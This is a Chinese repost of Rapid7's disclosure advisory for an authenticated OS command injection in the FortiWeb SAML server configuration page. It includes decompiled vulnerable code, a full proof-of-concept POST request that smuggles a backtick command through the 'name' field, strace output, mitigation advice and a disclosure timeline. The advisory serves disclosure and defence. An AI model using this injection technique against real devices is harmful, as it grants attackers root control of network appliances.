前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Fortinet FortiWeb OS 命令注入

Fortinet FortiWeb OS 命令注入

作者头像
C4rpeDime
发布2021-09-07 10:52:24
8900
发布2021-09-07 10:52:24
举报
文章被收录于专栏:黑白安全

FortiWeb 管理界面(版本 6.3.11 及更早版本)中的操作系统命令注入漏洞可允许远程、经过身份验证的攻击者通过 SAML 服务器配置页面在系统上执行任意命令。这是CWE-78:操作系统命令中使用的特殊元素的不当中和(“操作系统命令注入”)的一个实例,其 CVSSv3 基本得分为8.7。此漏洞似乎与 CVE-2021-22123 相关,已在FG-IR-20-120 中解决。

00x01

Fortinet FortiWeb 是一种 Web 应用程序防火墙 (WAF),旨在在有机会执行之前捕获针对受保护 Web 应用程序的已知和未知漏洞利用。有关 FortiWeb 的更多信息,请访问供应商网站。

00x02

这个问题是由Rapid7 的研究员William Vu发现的。它是根据 Rapid7 的漏洞披露政策披露的。

00x03

攻击者首先通过 FortiWeb 设备管理界面的身份验证,可以在 SAML 服务器配置页面的“名称”字段中使用反引号走私命令。然后,这些命令以底层操作系统的 root 用户身份执行。受影响的代码如下所示:

代码语言:javascript
复制
int move_metafile(char *path,char *name)
{
int iVar1;
char buf [512];
int nret;
snprintf(buf,0x200,"%s/%s","/data/etc/saml/shibboleth/service_providers",name);
iVar1 = access(buf,0);
if (iVar1 != 0) {
snprintf(buf,0x200,"mkdir %s/%s","/data/etc/saml/shibboleth/service_providers",name);
iVar1 = system(buf);
if (iVar1 != 0) {
return iVar1;
}
}
snprintf(buf,0x200,"cp %s %s/%s/%s.%s",path,"/data/etc/saml/shibboleth/service_providers",name,
"Metadata",&DAT_00212758);
iVar1 = system(buf);
return iVar1;
}

下面的 HTTP POST 请求和响应演示了利用此漏洞的示例:

代码语言:javascript
复制
POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: [redacted]
Cookie: [redacted]
User-Agent: [redacted]
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[redacted]/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://[redacted]
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/vulnerable`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="metafile"; filename="test.xml"
Content-Type: text/xml
<?xml version="1.0"?>
<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" validUntil="2021-06-12T16:54:31Z" cacheDuration="PT1623948871S" entityID="test">
<md:IDPSSODescriptor WantAuthnRequestsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<md:KeyDescriptor use="signing">
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:X509Data>
<ds:X509Certificate>test</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</md:KeyDescriptor>
<md:KeyDescriptor use="encryption">
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:X509Data>
<ds:X509Certificate>test</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</md:KeyDescriptor>
<md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat>
<md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="test"/>
</md:IDPSSODescriptor>
</md:EntityDescriptor>
-----------------------------94351131111899571381631694412--
HTTP/1.1 500 Internal Server Error
Date: Thu, 10 Jun 2021 11:59:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: [redacted]
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json
{"errcode": "-651"}

请注意,走私的“touch”命令连接在 mkdir shell 命令中:

代码语言:javascript
复制
[pid 12867] execve("/migadmin/cgi-bin/fwbcgi", ["/migadmin/cgi-bin/fwbcgi"], 0x55bb0395bf00 /* 42 vars */) = 0
[pid 13934] execve("/bin/sh", ["sh", "-c", "mkdir /data/etc/saml/shibboleth/service_providers/`touch /tmp/vulnerable`"], 0x7fff56b1c608 /* 42 vars */) = 0
[pid 13935] execve("/bin/touch", ["touch", "/tmp/vulnerable"], 0x55774aa30bf8 /* 44 vars */) = 0
[pid 13936] execve("/bin/mkdir", ["mkdir", "/data/etc/saml/shibboleth/service_providers/"], 0x55774aa30be8 /* 44 vars */) = 0

最后,可以在 FortiWeb 设备的本地命令行上看到“touch”命令的结果:

代码语言:javascript
复制
/# ls -l /tmp/vulnerable
-rw-r--r--    1 root     0                0 Jun 10 11:59 /tmp/vulnerable
/#

00x04

攻击者可以利用此漏洞以尽可能高的权限完全控制受影响的设备。他们可能会安装持久外壳、加密挖掘软件或其他恶意软件。万一管理界面暴露在互联网上,他们可以使用受感染的平台进入 DMZ 以外的受影响网络。但请注意,Rapid7 研究人员只能识别出不到三百个似乎将其管理界面暴露给一般互联网的设备。

请注意,虽然身份验证是此漏洞利用的先决条件,但此漏洞可能与另一个身份验证绕过问题相结合,例如CVE-2020-29015。

00x05

在没有补丁的情况下,建议用户从不受信任的网络(包括互联网)禁用 FortiWeb 设备的管理界面。一般来说,FortiWeb 等设备的管理界面无论如何都不应该直接暴露在互联网上——相反,它们应该只能通过受信任的内部网络或通过安全的 VPN 连接访问。

00x06

  • 2021 年 6 月:Rapid7 的 William Vu 发现并验证了问题
  • 2021 年 6 月 10 日星期四:通过供应商的PSIRT 联系表向供应商初步披露
  • 2021 年 6 月 11 日星期五:供应商确认(票 132097)
  • 2021 年 8 月 11 日,星期三:跟进供应商
  • 2021 年 8 月 17 日,星期二:通过此帖子公开披露
  • 2021 年 8 月 17 日,星期二:供应商表示 Fortiweb 6.4.1 预计将包含修复程序,并将于 8 月底发布

原文由https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection/

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 00x01
  • 00x02
  • 00x03
  • 00x04
  • 00x05
  • 00x06
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档